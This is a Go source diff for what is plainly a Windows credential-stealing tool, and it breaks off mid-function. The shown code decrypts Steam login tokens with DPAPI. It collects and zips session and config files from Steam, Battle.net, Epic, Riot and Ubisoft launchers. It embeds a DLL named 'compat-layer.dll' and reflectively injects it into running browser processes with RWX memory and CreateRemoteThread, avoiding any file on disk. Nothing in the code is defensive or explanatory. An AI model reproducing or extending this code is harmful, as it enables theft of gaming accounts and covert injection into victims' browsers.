||||
steamID := tok[:dot]
|
||||
jwt := tok[dot+1:]
|
||||
if steamID != "" && jwt != "" {
|
||||
result.SteamTokens = append(result.SteamTokens, types.SteamTokenResult{
|
||||
SteamID: steamID,
|
||||
Token: jwt,
|
||||
})
|
||||
}
|
||||
if result.Account == "" {
|
||||
result.Account = steamID
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if result.Account == "" {
|
||||
configPath := filepath.Join(steamPath, "config", "configstore", "steam-users.xml")
|
||||
if configBytes, err := os.ReadFile(configPath); err == nil {
|
||||
content := string(configBytes)
|
||||
if idx := strings.Index(content, `"PersonaName"`); idx > 0 {
|
||||
start := strings.Index(content[idx:], `"`)
|
||||
end := strings.Index(content[idx+start+1:], `"`)
|
||||
if start > 0 && end > 0 {
|
||||
result.Account = content[idx+start+1 : idx+start+1+end]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func scanSteamLibrary(steamPath string, result *types.SteamResult, seenGames map[string]bool) {
|
||||
libraryFolders := []string{steamPath}
|
||||
|
||||
steamappsRoot := filepath.Join(steamPath, "steamapps")
|
||||
logf("[gaming] Steam steamapps root=%q exists=%v", steamappsRoot, pathExists(steamappsRoot))
|
||||
vdfPath := filepath.Join(steamappsRoot, "libraryfolders.vdf")
|
||||
logf("[gaming] Steam libraryfolders.vdf=%q exists=%v", vdfPath, pathExists(vdfPath))
|
||||
if data, err := os.ReadFile(vdfPath); err == nil {
|
||||
for _, line := range normLines(string(data)) {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(strings.ToLower(line), `"path"`) {
|
||||
val := vdfValue(line)
|
||||
if val != "" {
|
||||
libraryPath := filepath.FromSlash(val)
|
||||
libraryPath = strings.TrimSuffix(libraryPath, string(os.PathSeparator))
|
||||
if pathExists(libraryPath) && !strings.EqualFold(libraryPath, steamPath) {
|
||||
libraryFolders = append(libraryFolders, libraryPath)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
logf("[gaming] Steam library folders to scan: %v", libraryFolders)
|
||||
for _, lib := range libraryFolders {
|
||||
libApps := filepath.Join(lib, "steamapps")
|
||||
logf("[gaming] Steam checking steamapps=%q exists=%v", libApps, pathExists(libApps))
|
||||
if !pathExists(libApps) {
|
||||
continue
|
||||
}
|
||||
|
||||
entries, _ := os.ReadDir(libApps)
|
||||
logf("[gaming] Steam steamapps dir has %d entries", len(entries))
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasPrefix(e.Name(), "appmanifest_") || !strings.HasSuffix(e.Name(), ".acf") {
|
||||
continue
|
||||
}
|
||||
acfData, err := os.ReadFile(filepath.Join(libApps, e.Name()))
|
||||
if err != nil || len(acfData) == 0 {
|
||||
continue
|
||||
}
|
||||
acf := parseACF(string(acfData))
|
||||
if acf["appid"] == "" || acf["name"] == "" {
|
||||
continue
|
||||
}
|
||||
installed := acf["StateFlags"] != "4"
|
||||
if !seenGames[acf["appid"]] {
|
||||
seenGames[acf["appid"]] = true
|
||||
result.Games = append(result.Games, types.GameInfo{
|
||||
ID: acf["appid"],
|
||||
Name: acf["name"],
|
||||
Installed: installed,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func parseACF(data string) map[string]string {
|
||||
result := map[string]string{}
|
||||
var inBlock bool
|
||||
|
||||
for _, line := range normLines(data) {
|
||||
line = strings.TrimLeft(line, "\t ")
|
||||
if line == "{" {
|
||||
inBlock = true
|
||||
continue
|
||||
}
|
||||
if line == "}" {
|
||||
break
|
||||
}
|
||||
if !inBlock || line == "" {
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(line, `"`) {
|
||||
key, val := vdfKeyValue(line)
|
||||
if key != "" {
|
||||
result[key] = val
|
||||
}
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func vdfKeyValue(line string) (string, string) {
|
||||
key := vdfNthQuoted(line, 0)
|
||||
val := vdfNthQuoted(line, 1)
|
||||
return key, val
|
||||
}
|
||||
|
||||
func vdfValue(line string) string {
|
||||
return vdfNthQuoted(line, 1)
|
||||
}
|
||||
|
||||
func vdfNthQuoted(line string, n int) string {
|
||||
count := 0
|
||||
i := 0
|
||||
for count <= n && i < len(line) {
|
||||
start := strings.Index(line[i:], `"`)
|
||||
if start == -1 {
|
||||
return ""
|
||||
}
|
||||
start += i + 1
|
||||
end := strings.Index(line[start:], `"`)
|
||||
if end == -1 {
|
||||
if count == n {
|
||||
return line[start:]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
if count == n {
|
||||
return line[start : start+end]
|
||||
}
|
||||
i = start + end + 1
|
||||
count++
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func extractSteamTokens(steamPath, localVdfPath string) []string {
|
||||
loginUsersPath := filepath.Join(steamPath, "config", "loginusers.vdf")
|
||||
if !pathExists(loginUsersPath) {
|
||||
loginUsersPath = filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "config", "loginusers.vdf")
|
||||
}
|
||||
if !pathExists(loginUsersPath) {
|
||||
return nil
|
||||
}
|
||||
|
||||
loginData, _ := os.ReadFile(loginUsersPath)
|
||||
localData, _ := os.ReadFile(localVdfPath)
|
||||
if loginData == nil || localData == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
accounts := parseVDFAccountNames(string(loginData))
|
||||
if len(accounts) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
return findSteamTokens(string(localData), accounts)
|
||||
}
|
||||
|
||||
func parseVDFAccountNames(data string) []string {
|
||||
var accounts []string
|
||||
for _, line := range normLines(data) {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.HasPrefix(line, `"AccountName"`) {
|
||||
val := vdfValue(line)
|
||||
if val != "" {
|
||||
accounts = append(accounts, val)
|
||||
}
|
||||
}
|
||||
}
|
||||
return accounts
|
||||
}
|
||||
|
||||
func findSteamTokens(data string, accounts []string) []string {
|
||||
normalized := strings.ReplaceAll(data, "\r\n", "\n")
|
||||
var tokens []string
|
||||
|
||||
for _, account := range accounts {
|
||||
prefix := `"` + account + `"`
|
||||
idx := strings.Index(normalized, prefix)
|
||||
if idx == -1 {
|
||||
continue
|
||||
}
|
||||
|
||||
blockStart := strings.Index(normalized[idx:], "{")
|
||||
blockEnd := strings.Index(normalized[idx:], "}")
|
||||
if blockStart == -1 || blockEnd == -1 || blockEnd < blockStart {
|
||||
continue
|
||||
}
|
||||
|
||||
block := normalized[idx+blockStart : idx+blockEnd]
|
||||
tokenStart := strings.Index(block, `"Token"`)
|
||||
if tokenStart == -1 {
|
||||
tokenStart = strings.Index(block, `"RefreshToken"`)
|
||||
}
|
||||
if tokenStart == -1 {
|
||||
continue
|
||||
}
|
||||
|
||||
tokenLine := block[tokenStart:]
|
||||
if lineEnd := strings.Index(tokenLine, "\n"); lineEnd > 0 {
|
||||
tokenLine = tokenLine[:lineEnd]
|
||||
}
|
||||
|
||||
tokenHex := vdfValue(tokenLine)
|
||||
if len(tokenHex) < 64 {
|
||||
continue
|
||||
}
|
||||
|
||||
decrypted := decryptSteamToken(tokenHex, account)
|
||||
if decrypted != "" {
|
||||
tokens = append(tokens, account+"."+decrypted)
|
||||
}
|
||||
}
|
||||
|
||||
return tokens
|
||||
}
|
||||
|
||||
func decryptSteamToken(tokenHex, account string) string {
|
||||
tokenBytes, err := hex.DecodeString(tokenHex)
|
||||
if err != nil || len(tokenBytes) < 16 {
|
||||
return ""
|
||||
}
|
||||
|
||||
entropy := []byte(account)
|
||||
out, err := dpapiDecrypt(tokenBytes, entropy)
|
||||
if err != nil || len(out) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
return strings.TrimRight(string(out), "\x00")
|
||||
}
|
||||
|
||||
func dpapiDecrypt(data, entropy []byte) ([]byte, error) {
|
||||
type blob struct {
|
||||
cbData uint32
|
||||
pbData *byte
|
||||
}
|
||||
|
||||
var inBlob, outBlob blob
|
||||
inBlob.cbData = uint32(len(data))
|
||||
if len(data) > 0 {
|
||||
inBlob.pbData = &data[0]
|
||||
}
|
||||
|
||||
var entPtr uintptr
|
||||
if len(entropy) > 0 {
|
||||
entBlob := blob{
|
||||
cbData: uint32(len(entropy)),
|
||||
pbData: &entropy[0],
|
||||
}
|
||||
entPtr = uintptr(unsafe.Pointer(&entBlob))
|
||||
}
|
||||
|
||||
proc := windows.NewLazySystemDLL("crypt32.dll").NewProc("CryptUnprotectData")
|
||||
r, _, err := proc.Call(
|
||||
uintptr(unsafe.Pointer(&inBlob)),
|
||||
0, entPtr, 0, 0, 0,
|
||||
uintptr(unsafe.Pointer(&outBlob)),
|
||||
)
|
||||
if r == 0 {
|
||||
return nil, err
|
||||
}
|
||||
defer windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(outBlob.pbData))))
|
||||
|
||||
out := make([]byte, outBlob.cbData)
|
||||
copy(out, unsafe.Slice(outBlob.pbData, outBlob.cbData))
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func pathExists(path string) bool {
|
||||
_, err := os.Stat(path)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func ScanBattleNet() []types.BattleNetResult {
|
||||
var results []types.BattleNetResult
|
||||
|
||||
bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net")
|
||||
logf("[gaming] Battle.net dir=%q exists=%v", bnDir, pathExists(bnDir))
|
||||
if !pathExists(bnDir) {
|
||||
return nil
|
||||
}
|
||||
|
||||
entries, _ := os.ReadDir(bnDir)
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
scanBattleNetRecursive(filepath.Join(bnDir, e.Name()), &results)
|
||||
} else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") {
|
||||
results = append(results, types.BattleNetResult{
|
||||
Path: filepath.Join(bnDir, e.Name()),
|
||||
Name: e.Name(),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanBattleNetRecursive(dir string, results *[]types.BattleNetResult) {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
scanBattleNetRecursive(filepath.Join(dir, e.Name()), results)
|
||||
} else if strings.HasSuffix(e.Name(), ".db") || strings.HasSuffix(e.Name(), ".config") {
|
||||
*results = append(*results, types.BattleNetResult{
|
||||
Path: filepath.Join(dir, e.Name()),
|
||||
Name: e.Name(),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func ScanEpic() []types.EpicResult {
|
||||
var results []types.EpicResult
|
||||
|
||||
path := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini")
|
||||
logf("[gaming] Epic config=%q exists=%v", path, pathExists(path))
|
||||
if !pathExists(path) {
|
||||
return nil
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil || len(data) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
content := string(data)
|
||||
if strings.Contains(content, "RememberMe") || strings.Contains(content, "Offline") {
|
||||
results = append(results, types.EpicResult{Path: path, Name: "GameUserSettings.ini"})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func ScanRiot() []types.RiotResult {
|
||||
var results []types.RiotResult
|
||||
|
||||
riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Data")
|
||||
logf("[gaming] Riot data dir=%q exists=%v", riotDir, pathExists(riotDir))
|
||||
if pathExists(riotDir) {
|
||||
results = append(results, types.RiotResult{Path: riotDir, Name: "RiotGamesPrivateSettings.yaml"})
|
||||
}
|
||||
|
||||
configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client", "Config")
|
||||
logf("[gaming] Riot config dir=%q exists=%v", configDir, pathExists(configDir))
|
||||
if pathExists(configDir) {
|
||||
results = append(results, types.RiotResult{Path: configDir, Name: "Config"})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func ScanUplay() []types.UplayResult {
|
||||
var results []types.UplayResult
|
||||
|
||||
path := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher")
|
||||
logf("[gaming] Uplay dir=%q exists=%v", path, pathExists(path))
|
||||
if pathExists(path) {
|
||||
results = append(results, types.UplayResult{Path: path, Name: "Ubisoft Game Launcher"})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
const maxZipFile = 50 * 1024 * 1024
|
||||
|
||||
func ZipSteamSession(steamPath string) ([]byte, error) {
|
||||
if steamPath == "" || !pathExists(steamPath) {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
|
||||
var files []string
|
||||
|
||||
entries, _ := os.ReadDir(steamPath)
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() && strings.Contains(e.Name(), "ssfn") {
|
||||
if info, _ := e.Info(); info != nil && info.Size() < maxZipFile {
|
||||
files = append(files, filepath.Join(steamPath, e.Name()))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
configDir := filepath.Join(steamPath, "config")
|
||||
for _, name := range []string{"loginusers.vdf", "config.vdf", "DialogConfig.vdf"} {
|
||||
p := filepath.Join(configDir, name)
|
||||
if pathExists(p) {
|
||||
files = append(files, p)
|
||||
}
|
||||
}
|
||||
|
||||
localVdf := filepath.Join(os.Getenv("LOCALAPPDATA"), "Steam", "local.vdf")
|
||||
if pathExists(localVdf) {
|
||||
files = append(files, localVdf)
|
||||
}
|
||||
|
||||
if len(files) == 0 {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
logf("[gaming] ZipSteamSession: %d files from %s", len(files), steamPath)
|
||||
return ziputil.ZipFiles(files, filepath.Dir(steamPath))
|
||||
}
|
||||
|
||||
func ZipBattleNet() ([]byte, error) {
|
||||
bnDir := filepath.Join(os.Getenv("APPDATA"), "Battle.net")
|
||||
if !pathExists(bnDir) {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
return ziputil.ZipDirectory(bnDir)
|
||||
}
|
||||
|
||||
func ZipEpic() ([]byte, error) {
|
||||
configDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "EpicGamesLauncher", "Saved", "Config", "Windows")
|
||||
if !pathExists(configDir) {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
return ziputil.ZipDirectory(configDir)
|
||||
}
|
||||
|
||||
func ZipRiot() ([]byte, error) {
|
||||
riotDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Riot Games", "Riot Client")
|
||||
if !pathExists(riotDir) {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
|
||||
var files []string
|
||||
for _, sub := range []string{"Data", "Config"} {
|
||||
d := filepath.Join(riotDir, sub)
|
||||
if !pathExists(d) {
|
||||
continue
|
||||
}
|
||||
filepath.Walk(d, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() || info.Size() > maxZipFile {
|
||||
return nil
|
||||
}
|
||||
files = append(files, path)
|
||||
return nil
|
||||
})
|
||||
}
|
||||
if len(files) == 0 {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
return ziputil.ZipFiles(files, riotDir)
|
||||
}
|
||||
|
||||
func ZipUplay() ([]byte, error) {
|
||||
uplayDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "Ubisoft Game Launcher")
|
||||
if !pathExists(uplayDir) {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
return ziputil.ZipDirectory(uplayDir)
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
package recovery
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[recovery] "+format, args...)
|
||||
}
|
||||
|
||||
func safeRecover(where string) {
|
||||
if r := recover(); r != nil {
|
||||
logf("panic recovered in %s: %v", where, r)
|
||||
}
|
||||
}
|
||||
|
||||
func recoverErrors(where string, errs *[]string, mu *sync.Mutex) {
|
||||
if r := recover(); r != nil {
|
||||
logf("panic recovered in %s: %v", where, r)
|
||||
mu.Lock()
|
||||
*errs = append(*errs, fmt.Sprintf("%s: %v", where, r))
|
||||
mu.Unlock()
|
||||
}
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,14 @@
|
||||
//go:build windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
)
|
||||
|
||||
//go:embed compat-layer.dll
|
||||
var embeddedDLL []byte
|
||||
|
||||
func GetEmbeddedDLL() []byte {
|
||||
return embeddedDLL
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
//go:build !windows
|
||||
|
||||
package platform
|
||||
|
||||
func GetEmbeddedDLL() []byte {
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,631 @@
|
||||
//go:build windows
|
||||
|
||||
package platform
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var (
|
||||
modKernel32Inj = windows.NewLazySystemDLL("kernel32.dll")
|
||||
procVirtualAllocEx = modKernel32Inj.NewProc("VirtualAllocEx")
|
||||
procVirtualFreeEx = modKernel32Inj.NewProc("VirtualFreeEx")
|
||||
procCreateRemoteThread = modKernel32Inj.NewProc("CreateRemoteThread")
|
||||
procQueueUserAPC = modKernel32Inj.NewProc("QueueUserAPC")
|
||||
modNtdllInj = windows.NewLazySystemDLL("ntdll.dll")
|
||||
procNtQueryInformationProcess = modNtdllInj.NewProc("NtQueryInformationProcess")
|
||||
)
|
||||
|
||||
// processBasicInformation mirrors PROCESS_BASIC_INFORMATION (x64).
|
||||
type processBasicInformation struct {
|
||||
Reserved1 uintptr
|
||||
PebBaseAddress uintptr
|
||||
Reserved2 [2]uintptr
|
||||
UniqueProcessId uintptr
|
||||
Reserved3 uintptr
|
||||
}
|
||||
|
||||
// unicodeString mirrors UNICODE_STRING.
|
||||
type unicodeString struct {
|
||||
Length uint16
|
||||
MaximumLength uint16
|
||||
Buffer uintptr
|
||||
}
|
||||
|
||||
// processCommandLine returns the full command line of a process by walking its
|
||||
// PEB (x64 offsets). Used to distinguish the main browser process from its
|
||||
// renderer/GPU/utility subprocesses.
|
||||
func processCommandLine(pid uint32) (string, error) {
|
||||
hProcess, err := windows.OpenProcess(
|
||||
windows.PROCESS_QUERY_LIMITED_INFORMATION|windows.PROCESS_VM_READ, false, pid)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer windows.CloseHandle(hProcess)
|
||||
|
||||
var pbi processBasicInformation
|
||||
var retLen uint32
|
||||
status, _, _ := procNtQueryInformationProcess.Call(
|
||||
uintptr(hProcess), 0, uintptr(unsafe.Pointer(&pbi)),
|
||||
unsafe.Sizeof(pbi), uintptr(unsafe.Pointer(&retLen)),
|
||||
)
|
||||
if status != 0 || pbi.PebBaseAddress == 0 {
|
||||
return "", fmt.Errorf("NtQueryInformationProcess: 0x%x", status)
|
||||
}
|
||||
|
||||
// PEB.ProcessParameters (offset 0x20 on x64).
|
||||
var procParams uintptr
|
||||
if err := windows.ReadProcessMemory(hProcess, pbi.PebBaseAddress+0x20,
|
||||
(*byte)(unsafe.Pointer(&procParams)), unsafe.Sizeof(procParams), nil); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if procParams == 0 {
|
||||
return "", fmt.Errorf("no process parameters")
|
||||
}
|
||||
|
||||
// RTL_USER_PROCESS_PARAMETERS.CommandLine (offset 0x70 on x64).
|
||||
var cmdLine unicodeString
|
||||
if err := windows.ReadProcessMemory(hProcess, procParams+0x70,
|
||||
(*byte)(unsafe.Pointer(&cmdLine)), unsafe.Sizeof(cmdLine), nil); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if cmdLine.Length == 0 || cmdLine.Buffer == 0 {
|
||||
return "", fmt.Errorf("no command line")
|
||||
}
|
||||
|
||||
buf := make([]uint16, cmdLine.Length/2)
|
||||
if err := windows.ReadProcessMemory(hProcess, cmdLine.Buffer,
|
||||
(*byte)(unsafe.Pointer(&buf[0])), uintptr(cmdLine.Length), nil); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return syscall.UTF16ToString(buf), nil
|
||||
}
|
||||
|
||||
func orderedBrowserPIDs(exeName string) []uint32 {
|
||||
pids, err := FindProcesses(exeName)
|
||||
if err != nil || len(pids) <= 1 {
|
||||
return pids
|
||||
}
|
||||
for i, pid := range pids {
|
||||
if cmdline, err := processCommandLine(pid); err == nil && !strings.Contains(cmdline, "--type=") {
|
||||
if i != 0 {
|
||||
pids[0], pids[i] = pids[i], pids[0]
|
||||
}
|
||||
return pids
|
||||
}
|
||||
}
|
||||
return pids
|
||||
}
|
||||
|
||||
// findReflectiveLoaderOffset parses the PE export table in file layout and
|
||||
// returns the file offset of the ReflectiveLoader export function.
|
||||
func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
|
||||
if len(pe) < 64 || pe[0] != 'M' || pe[1] != 'Z' {
|
||||
return 0, fmt.Errorf("not a valid PE")
|
||||
}
|
||||
lfanew := binary.LittleEndian.Uint32(pe[60:])
|
||||
if int(lfanew)+24 > len(pe) {
|
||||
return 0, fmt.Errorf("truncated PE header")
|
||||
}
|
||||
if binary.LittleEndian.Uint32(pe[lfanew:]) != 0x00004550 {
|
||||
return 0, fmt.Errorf("bad PE signature")
|
||||
}
|
||||
|
||||
coffOff := lfanew + 4
|
||||
numSections := binary.LittleEndian.Uint16(pe[coffOff+2:])
|
||||
optHeaderSize := binary.LittleEndian.Uint16(pe[coffOff+16:])
|
||||
optHeaderOff := coffOff + 20
|
||||
|
||||
if int(optHeaderOff)+4 > len(pe) {
|
||||
return 0, fmt.Errorf("truncated optional header")
|
||||
}
|
||||
magic := binary.LittleEndian.Uint16(pe[optHeaderOff:])
|
||||
|
||||
var exportRVA uint32
|
||||
switch magic {
|
||||
case 0x10b: // PE32
|
||||
if int(optHeaderOff)+100 > len(pe) {
|
||||
return 0, fmt.Errorf("PE32 optional header too short")
|
||||
}
|
||||
exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+96:])
|
||||
case 0x20b: // PE32+
|
||||
if int(optHeaderOff)+116 > len(pe) {
|
||||
return 0, fmt.Errorf("PE32+ optional header too short")
|
||||
}
|
||||
exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+112:])
|
||||
default:
|
||||
return 0, fmt.Errorf("unknown PE magic 0x%x", magic)
|
||||
}
|
||||
|
||||
sectionOff := optHeaderOff + uint32(optHeaderSize)
|
||||
|
||||
// rva2fo converts a virtual RVA to a file offset via the section table.
|
||||
rva2fo := func(rva uint32) uint32 {
|
||||
for i := uint16(0); i < numSections; i++ {
|
||||
off := sectionOff + uint32(i)*40
|
||||
if int(off)+40 > len(pe) {
|
||||
break
|
||||
}
|
||||
// IMAGE_SECTION_HEADER layout:
|
||||
// +0 Name[8]
|
||||
// +8 VirtualSize
|
||||
// +12 VirtualAddress
|
||||
// +16 SizeOfRawData
|
||||
// +20 PointerToRawData
|
||||
vAddr := binary.LittleEndian.Uint32(pe[off+12:])
|
||||
vSize := binary.LittleEndian.Uint32(pe[off+8:])
|
||||
rawPtr := binary.LittleEndian.Uint32(pe[off+20:])
|
||||
rawSize := binary.LittleEndian.Uint32(pe[off+16:])
|
||||
span := vSize
|
||||
if rawSize > span {
|
||||
span = rawSize
|
||||
}
|
||||
if rva >= vAddr && rva < vAddr+span {
|
||||
delta := rva - vAddr
|
||||
if delta < rawSize {
|
||||
return rawPtr + delta
|
||||
}
|
||||
}
|
||||
}
|
||||
// RVA might be in the PE headers (before the first section).
|
||||
if numSections > 0 {
|
||||
firstRaw := binary.LittleEndian.Uint32(pe[sectionOff+20:])
|
||||
if rva < firstRaw {
|
||||
return rva
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
exportFO := rva2fo(exportRVA)
|
||||
if exportFO == 0 || int(exportFO)+40 > len(pe) {
|
||||
return 0, fmt.Errorf("invalid export directory")
|
||||
}
|
||||
|
||||
// IMAGE_EXPORT_DIRECTORY offsets:
|
||||
// +20 NumberOfFunctions
|
||||
// +24 NumberOfNames
|
||||
// +28 AddressOfFunctions
|
||||
// +32 AddressOfNames
|
||||
// +36 AddressOfNameOrdinals
|
||||
numNames := binary.LittleEndian.Uint32(pe[exportFO+24:])
|
||||
functionsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+28:]))
|
||||
namesFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+32:]))
|
||||
ordinalsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+36:]))
|
||||
|
||||
for i := uint32(0); i < numNames; i++ {
|
||||
if int(namesFO+i*4+4) > len(pe) {
|
||||
break
|
||||
}
|
||||
nameFO := rva2fo(binary.LittleEndian.Uint32(pe[namesFO+i*4:]))
|
||||
if nameFO == 0 || int(nameFO) >= len(pe) {
|
||||
continue
|
||||
}
|
||||
name := pe[nameFO:]
|
||||
found := false
|
||||
for k := 0; k < 64 && int(nameFO)+k+16 <= len(pe); k++ {
|
||||
if name[k] == 0 {
|
||||
break
|
||||
}
|
||||
if name[k] == 'R' && string(name[k:k+16]) == "ReflectiveLoader" {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
continue
|
||||
}
|
||||
if int(ordinalsFO+i*2+2) > len(pe) {
|
||||
break
|
||||
}
|
||||
ordinal := uint32(binary.LittleEndian.Uint16(pe[ordinalsFO+i*2:]))
|
||||
if int(functionsFO+ordinal*4+4) > len(pe) {
|
||||
break
|
||||
}
|
||||
funcFO := rva2fo(binary.LittleEndian.Uint32(pe[functionsFO+ordinal*4:]))
|
||||
if funcFO != 0 {
|
||||
return funcFO, nil
|
||||
}
|
||||
}
|
||||
return 0, fmt.Errorf("ReflectiveLoader export not found")
|
||||
}
|
||||
|
||||
// writeReflectiveDLL allocates RWX memory in hProcess, writes the full DLL image
|
||||
// followed by the UTF-16 pipe name, and returns the remote addresses of the
|
||||
// ReflectiveLoader entry point and the pipe name. The pipe name is passed to
|
||||
// the loader as lpParameter so it reaches DllMain without relying on an
|
||||
// inherited environment variable (which running browsers do not have).
|
||||
func writeReflectiveDLL(hProcess windows.Handle, dllBytes []byte, pipeName string) (loaderAddr, pipeNameAddr uintptr, err error) {
|
||||
loaderOff, err := findReflectiveLoaderOffset(dllBytes)
|
||||
if err != nil {
|
||||
return 0, 0, fmt.Errorf("find reflective loader: %w", err)
|
||||
}
|
||||
|
||||
pipeW, err := syscall.UTF16FromString(pipeName)
|
||||
if err != nil {
|
||||
return 0, 0, fmt.Errorf("utf16 pipe name: %w", err)
|
||||
}
|
||||
pipeBytes := len(pipeW) * 2
|
||||
total := len(dllBytes) + pipeBytes
|
||||
|
||||
remoteMem, _, _ := procVirtualAllocEx.Call(
|
||||
uintptr(hProcess), 0, uintptr(total),
|
||||
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE,
|
||||
)
|
||||
if remoteMem == 0 {
|
||||
return 0, 0, fmt.Errorf("VirtualAllocEx failed")
|
||||
}
|
||||
|
||||
var written uintptr
|
||||
if err := windows.WriteProcessMemory(hProcess, remoteMem, &dllBytes[0], uintptr(len(dllBytes)), &written); err != nil {
|
||||
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
|
||||
return 0, 0, fmt.Errorf("WriteProcessMemory: %w", err)
|
||||
}
|
||||
|
||||
pipeNameAddr = remoteMem + uintptr(len(dllBytes))
|
||||
pipeBuf := unsafe.Slice((*byte)(unsafe.Pointer(&pipeW[0])), pipeBytes)
|
||||
if err := windows.WriteProcessMemory(hProcess, pipeNameAddr, &pipeBuf[0], uintptr(pipeBytes), &written); err != nil {
|
||||
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
|
||||
return 0, 0, fmt.Errorf("WriteProcessMemory pipe: %w", err)
|
||||
}
|
||||
|
||||
return remoteMem + uintptr(loaderOff), pipeNameAddr, nil
|
||||
}
|
||||
|
||||
func createKillOnCloseJob() (windows.Handle, error) {
|
||||
job, err := windows.CreateJobObject(nil, nil)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("CreateJobObject: %w", err)
|
||||
}
|
||||
var info windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION
|
||||
info.BasicLimitInformation.LimitFlags |= windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
|
||||
_, err = windows.SetInformationJobObject(job, windows.JobObjectExtendedLimitInformation,
|
||||
uintptr(unsafe.Pointer(&info)), uint32(unsafe.Sizeof(info)))
|
||||
if err != nil {
|
||||
windows.CloseHandle(job)
|
||||
return 0, fmt.Errorf("SetInformationJobObject: %w", err)
|
||||
}
|
||||
return job, nil
|
||||
}
|
||||
|
||||
// InjectDLL reflectively injects the DLL into a running process via CreateRemoteThread.
|
||||
// The DLL bytes are written directly into the target process — no temp file on disk.
|
||||
func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
|
||||
hProcess, err := windows.OpenProcess(
|
||||
windows.PROCESS_CREATE_THREAD|windows.PROCESS_QUERY_INFORMATION|
|
||||
windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ,
|
||||
false, targetPID)
|
||||
if err != nil {
|
||||
